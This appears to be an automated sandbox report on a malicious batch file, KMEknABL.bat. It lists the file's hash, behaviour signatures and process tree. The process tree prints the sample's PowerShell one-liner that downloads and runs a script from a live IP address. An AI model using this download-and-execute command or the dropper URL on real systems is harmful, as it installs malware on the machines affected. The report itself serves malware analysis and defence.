Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    98s
  • resource
    win10v191014
  • submitted
    01-01-2020 14:10

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General

  • Target

    KMEknABL.bat

  • Sample

    200101-l8648xkvye

  • SHA256

    85fa65ad29ef62077ff5fbb0289138bfa40467a804a5a73eecd2d25ad9db1ccf

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/KMEknABL

Signatures

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KMEknABL.bat"
    1⤵
      PID:4804
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/KMEknABL');Invoke-ITQKDOTMRTON;Start-Sleep -s 10000"
        2⤵
          PID:4852
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:4928

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • memory/4928-0-0x00000000046B0000-0x00000000046B1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/4928-972-0x0000000005010000-0x0000000005011000-memory.dmp

        Filesize

        4KB

        Download